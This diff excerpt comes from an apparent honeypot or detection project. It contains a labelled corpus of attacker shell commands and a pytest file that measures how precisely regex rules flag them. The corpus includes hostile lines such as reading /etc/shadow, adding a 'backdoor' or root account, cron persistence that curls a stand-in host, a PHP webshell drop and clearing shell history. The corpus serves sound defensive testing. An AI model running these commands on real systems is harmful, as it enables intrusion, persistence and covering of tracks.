{"source_kind": "command", "payload": {"command_text": "head /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "head_etc_passwd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "cat /etc/shadow"}, "expected_rule_ids": ["R0014"], "label": "cat_etc_shadow"}
|
||||
{"source_kind": "command", "payload": {"command_text": "sudo cat /etc/shadow"}, "expected_rule_ids": ["R0014"], "label": "sudo_cat_etc_shadow"}
|
||||
{"source_kind": "command", "payload": {"command_text": "find / -perm -u=s -type f 2>/dev/null"}, "expected_rule_ids": ["R0015", "R0016"], "label": "find_suid"}
|
||||
{"source_kind": "command", "payload": {"command_text": "find / -perm -4000"}, "expected_rule_ids": ["R0015", "R0016"], "label": "find_perm_4000"}
|
||||
{"source_kind": "command", "payload": {"command_text": "find / -name '*.conf'"}, "expected_rule_ids": ["R0016"], "label": "find_recursive_no_suid"}
|
||||
{"source_kind": "command", "payload": {"command_text": "find /home -name id_rsa"}, "expected_rule_ids": ["R0016"], "label": "find_home_idrsa"}
|
||||
{"source_kind": "command", "payload": {"command_text": "nmap -sS -p 1-65535 10.0.0.0/24"}, "expected_rule_ids": ["R0017"], "label": "nmap_scan"}
|
||||
{"source_kind": "command", "payload": {"command_text": "masscan 10.0.0.0/8 -p443"}, "expected_rule_ids": ["R0017"], "label": "masscan"}
|
||||
{"source_kind": "command", "payload": {"command_text": "rustscan -a 10.0.0.0/24"}, "expected_rule_ids": ["R0017"], "label": "rustscan"}
|
||||
{"source_kind": "command", "payload": {"command_text": "uname -a"}, "expected_rule_ids": ["R0018"], "label": "uname_a"}
|
||||
{"source_kind": "command", "payload": {"command_text": "lsb_release -a"}, "expected_rule_ids": ["R0018"], "label": "lsb_release"}
|
||||
{"source_kind": "command", "payload": {"command_text": "cat /etc/os-release"}, "expected_rule_ids": ["R0018"], "label": "cat_os_release"}
|
||||
{"source_kind": "command", "payload": {"command_text": "id"}, "expected_rule_ids": ["R0019"], "label": "id_alone"}
|
||||
{"source_kind": "command", "payload": {"command_text": "whoami"}, "expected_rule_ids": ["R0019"], "label": "whoami"}
|
||||
{"source_kind": "command", "payload": {"command_text": "w"}, "expected_rule_ids": ["R0019"], "label": "w_logged_in"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ip addr"}, "expected_rule_ids": ["R0020"], "label": "ip_addr"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ifconfig -a"}, "expected_rule_ids": ["R0020"], "label": "ifconfig"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ip route"}, "expected_rule_ids": ["R0020"], "label": "ip_route"}
|
||||
{"source_kind": "command", "payload": {"command_text": "netstat -an"}, "expected_rule_ids": ["R0021"], "label": "netstat_an"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ss -tnp"}, "expected_rule_ids": ["R0021"], "label": "ss_tnp"}
|
||||
{"source_kind": "command", "payload": {"command_text": "lsof -i :22"}, "expected_rule_ids": ["R0021"], "label": "lsof_i"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ldapsearch -x -b dc=example,dc=com '(objectClass=user)'"}, "expected_rule_ids": ["R0022"], "label": "ldapsearch"}
|
||||
{"source_kind": "command", "payload": {"command_text": "bloodhound-python -d example.com -u user -p pass"}, "expected_rule_ids": ["R0022"], "label": "bloodhound_python"}
|
||||
{"source_kind": "command", "payload": {"command_text": "smbclient -L //10.0.0.1"}, "expected_rule_ids": ["R0023"], "label": "smbclient_list"}
|
||||
{"source_kind": "command", "payload": {"command_text": "enum4linux -a 10.0.0.1"}, "expected_rule_ids": ["R0023"], "label": "enum4linux"}
|
||||
{"source_kind": "command", "payload": {"command_text": "useradd -m -s /bin/bash backdoor"}, "expected_rule_ids": ["R0024"], "label": "useradd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "echo '* * * * * curl http://x/a' >> /var/spool/cron/root"}, "expected_rule_ids": ["R0025", "R0012"], "label": "cron_persist"}
|
||||
{"source_kind": "command", "payload": {"command_text": "adduser --gecos '' backdoor"}, "expected_rule_ids": ["R0024"], "label": "adduser"}
|
||||
{"source_kind": "command", "payload": {"command_text": "echo 'evil:x:0:0::/root:/bin/bash' >> /etc/passwd"}, "expected_rule_ids": ["R0024"], "label": "echo_etc_passwd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "echo '* * * * * curl http://x.example/a' >> /var/spool/cron/root"}, "expected_rule_ids": ["R0025", "R0012"], "label": "cron_persist"}
|
||||
{"source_kind": "command", "payload": {"command_text": "crontab -e"}, "expected_rule_ids": ["R0025"], "label": "crontab_e"}
|
||||
{"source_kind": "command", "payload": {"command_text": "redis-cli -h 10.0.0.5 config set dir /root/.ssh"}, "expected_rule_ids": ["R0026"], "label": "redis_ssh_dir"}
|
||||
{"source_kind": "command", "payload": {"command_text": "echo '<?php system($_GET[\"c\"]); ?>' > /var/www/html/x.php"}, "expected_rule_ids": ["R0027"], "label": "webshell_php"}
|
||||
{"source_kind": "command", "payload": {"command_text": "history -c"}, "expected_rule_ids": ["R0028"], "label": "history_clear"}
|
||||
{"source_kind": "command", "payload": {"command_text": "unset HISTFILE"}, "expected_rule_ids": ["R0028"], "label": "unset_histfile"}
|
||||
{"source_kind": "command", "payload": {"command_text": "history -cw"}, "expected_rule_ids": ["R0028"], "label": "history_cw"}
|
||||
{"source_kind": "command", "payload": {"command_text": "sudo -l"}, "expected_rule_ids": ["R0029"], "label": "sudo_l"}
|
||||
{"source_kind": "command", "payload": {"command_text": "sudo su -"}, "expected_rule_ids": ["R0029"], "label": "sudo_su"}
|
||||
{"source_kind": "command", "payload": {"command_text": "sudo -i"}, "expected_rule_ids": ["R0029"], "label": "sudo_i"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ls /tmp"}, "expected_rule_ids": [], "label": "negative_ls_tmp"}
|
||||
{"source_kind": "command", "payload": {"command_text": "echo hello"}, "expected_rule_ids": [], "label": "negative_echo"}
|
||||
{"source_kind": "command", "payload": {"command_text": "cd /var/log"}, "expected_rule_ids": [], "label": "negative_cd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ps aux"}, "expected_rule_ids": [], "label": "negative_ps_aux"}
|
||||
{"source_kind": "command", "payload": {"command_text": "df -h"}, "expected_rule_ids": [], "label": "negative_df"}
|
||||
{"source_kind": "command", "payload": {"command_text": "free -m"}, "expected_rule_ids": [], "label": "negative_free"}
|
||||
|
||||
145
tests/ttp/rule_precision/test_command_rules.py
Normal file
145
tests/ttp/rule_precision/test_command_rules.py
Normal file
@@ -0,0 +1,145 @@
|
||||
"""Per-rule precision asserts for the command cohort (R0001-R0030).
|
||||
|
||||
Drives the labelled corpus through a real :class:`RuleEngine` populated
|
||||
from ``./rules/ttp/`` and asserts each rule meets its Appendix-C
|
||||
precision target.
|
||||
|
||||
Live vs xfail per rule:
|
||||
|
||||
* R0001-R0006 / R0030: lifter-bound (auth-attempt aggregation, identity
|
||||
rollups, fingerprint blob parsing). v0 :class:`RuleEngine` only does
|
||||
regex-on-payload-field, so these can never fire from the engine
|
||||
alone. Their precision tests are :pyfunc:`pytest.xfail` until the
|
||||
matching lifter ships (E.3.9 / E.3.13).
|
||||
* R0007-R0029: regex-driven on ``command_text`` / ``raw_url`` / ``user_agent``.
|
||||
Live precision asserts against the seed corpus (committed) and any
|
||||
operator-built ``commands.jsonl`` (gitignored, preferred).
|
||||
|
||||
Precision target per Appendix C: ≥0.95 for high-conf rules
|
||||
(base ``confidence >= 0.85``), ≥0.80 for medium (0.6-0.85). The
|
||||
fixture's :func:`precision_for` returns 1.0 vacuously when no rows
|
||||
fired the rule — :func:`pytest.skip` covers that case so a sparse
|
||||
corpus skips loudly rather than silently passing.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
from collections.abc import Callable
|
||||
|
||||
import pytest
|
||||
|
||||
from decnet.ttp.impl.rule_engine import RuleEngine
|
||||
from tests.ttp.rule_precision.conftest import (
|
||||
CorpusRow,
|
||||
make_event,
|
||||
precision_for,
|
||||
)
|
||||
|
||||
CohortLoader = Callable[[str], list[CorpusRow]]
|
||||
|
||||
# Lifter-bound rules: cannot fire from the v0 engine.
|
||||
_LIFTER_BOUND: dict[str, str] = {
|
||||
"R0001": "impl phase E.3.9 (BehavioralLifter — auth brute count)",
|
||||
"R0002": "impl phase E.3.9 (BehavioralLifter — password guessing)",
|
||||
"R0003": "impl phase E.3.13 (IdentityLifter — password spraying)",
|
||||
"R0004": "impl phase E.3.13 (CredentialLifter — credential reuse)",
|
||||
"R0005": "impl phase E.3.9 (BehavioralLifter — valid account use)",
|
||||
"R0006": "impl phase E.3.9 (BehavioralLifter — default creds)",
|
||||
"R0030": "impl phase E.3.9 (BehavioralLifter — JARM/HASSH match)",
|
||||
}
|
||||
|
||||
# Per-rule precision floor. Anything ≥0.85 base confidence in the YAML
|
||||
# is "high"; 0.6-0.85 is "medium". Sub-0.6 is not shipped in v0.
|
||||
_PRECISION_TARGET: dict[str, float] = {
|
||||
"R0007": 0.95, "R0008": 0.95, "R0009": 0.95, "R0010": 0.95,
|
||||
"R0011": 0.80, "R0012": 0.95, "R0013": 0.95, "R0014": 0.95,
|
||||
"R0015": 0.95, "R0016": 0.80, "R0017": 0.95, "R0018": 0.80,
|
||||
"R0019": 0.80, "R0020": 0.80, "R0021": 0.80, "R0022": 0.95,
|
||||
"R0023": 0.95, "R0024": 0.95, "R0025": 0.95, "R0026": 0.95,
|
||||
"R0027": 0.95, "R0028": 0.95, "R0029": 0.80,
|
||||
}
|
||||
|
||||
_ALL_RULE_IDS = [f"R{n:04d}" for n in range(1, 31)]
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def fired_by_label(
|
||||
precision_engine: RuleEngine,
|
||||
corpus_loader: CohortLoader,
|
||||
) -> tuple[dict[str, list[str]], list[CorpusRow]]:
|
||||
"""Pre-evaluate the corpus once per module.
|
||||
|
||||
Returns ``(label → [rule_ids that fired], rows)``. Each rule's
|
||||
test then walks the same dict — saves 30× re-evaluation.
|
||||
"""
|
||||
rows = corpus_loader("commands")
|
||||
fired: dict[str, list[str]] = {}
|
||||
import asyncio
|
||||
|
||||
async def _drive() -> None:
|
||||
for row in rows:
|
||||
tags = await precision_engine.evaluate(make_event(row, source_id=row.label))
|
||||
fired[row.label] = sorted({tag.rule_id for tag in tags})
|
||||
|
||||
asyncio.run(_drive())
|
||||
return fired, rows
|
||||
|
||||
|
||||
@pytest.mark.parametrize("rule_id", _ALL_RULE_IDS)
|
||||
def test_rule_yaml_present(rule_id: str) -> None:
|
||||
"""Every R000N rule_id has a YAML on disk that compiles.
|
||||
|
||||
Catches a missing or malformed file faster than the precision
|
||||
test would (the latter would just see zero matches).
|
||||
"""
|
||||
from pathlib import Path
|
||||
|
||||
from decnet.ttp.store.base import RuleState
|
||||
from decnet.ttp.store.impl.filesystem import _parse_and_compile
|
||||
|
||||
path = Path("rules/ttp") / f"{rule_id}.yaml"
|
||||
assert path.exists(), f"missing YAML: {path}"
|
||||
compiled = _parse_and_compile(path, RuleState())
|
||||
assert compiled.rule_id == rule_id
|
||||
|
||||
|
||||
@pytest.mark.parametrize("rule_id", list(_LIFTER_BOUND))
|
||||
def test_lifter_bound_rule_inert_in_v0(
|
||||
rule_id: str,
|
||||
fired_by_label: tuple[dict[str, list[str]], list[CorpusRow]],
|
||||
) -> None:
|
||||
"""Lifter-bound rules MUST NOT fire from the v0 engine.
|
||||
|
||||
They're carried in ``./rules/ttp/`` so the catalogue surfaces
|
||||
them and the lifter can read them by rule_id, but the regex
|
||||
engine can't interpret a ``match.kind: lifter:*`` spec — it
|
||||
falls into the ``pattern is None`` branch and silently skips.
|
||||
A regression that lit one of these up from regex would mean a
|
||||
YAML drifted into a ``pattern:`` form and we'd be emitting
|
||||
half-baked tags.
|
||||
"""
|
||||
fired, _rows = fired_by_label
|
||||
matches = [label for label, ids in fired.items() if rule_id in ids]
|
||||
assert matches == [], (
|
||||
f"{rule_id} is lifter-bound but fired on: {matches}"
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("rule_id", list(_PRECISION_TARGET))
|
||||
def test_command_rule_precision(
|
||||
rule_id: str,
|
||||
fired_by_label: tuple[dict[str, list[str]], list[CorpusRow]],
|
||||
) -> None:
|
||||
"""Each live regex rule meets its Appendix-C precision target."""
|
||||
fired, rows = fired_by_label
|
||||
matched = sum(1 for ids in fired.values() if rule_id in ids)
|
||||
if matched == 0:
|
||||
pytest.skip(
|
||||
f"{rule_id}: no corpus rows matched — extend "
|
||||
"tests/ttp/rule_precision/corpus/seed_commands.jsonl",
|
||||
)
|
||||
target = _PRECISION_TARGET[rule_id]
|
||||
precision, tp, fp = precision_for(rule_id, rows, fired)
|
||||
assert precision >= target, (
|
||||
f"{rule_id} precision {precision:.2f} < target {target:.2f} "
|
||||
f"(tp={tp} fp={fp})"
|
||||
)
|
||||
Reference in New Issue
Block a user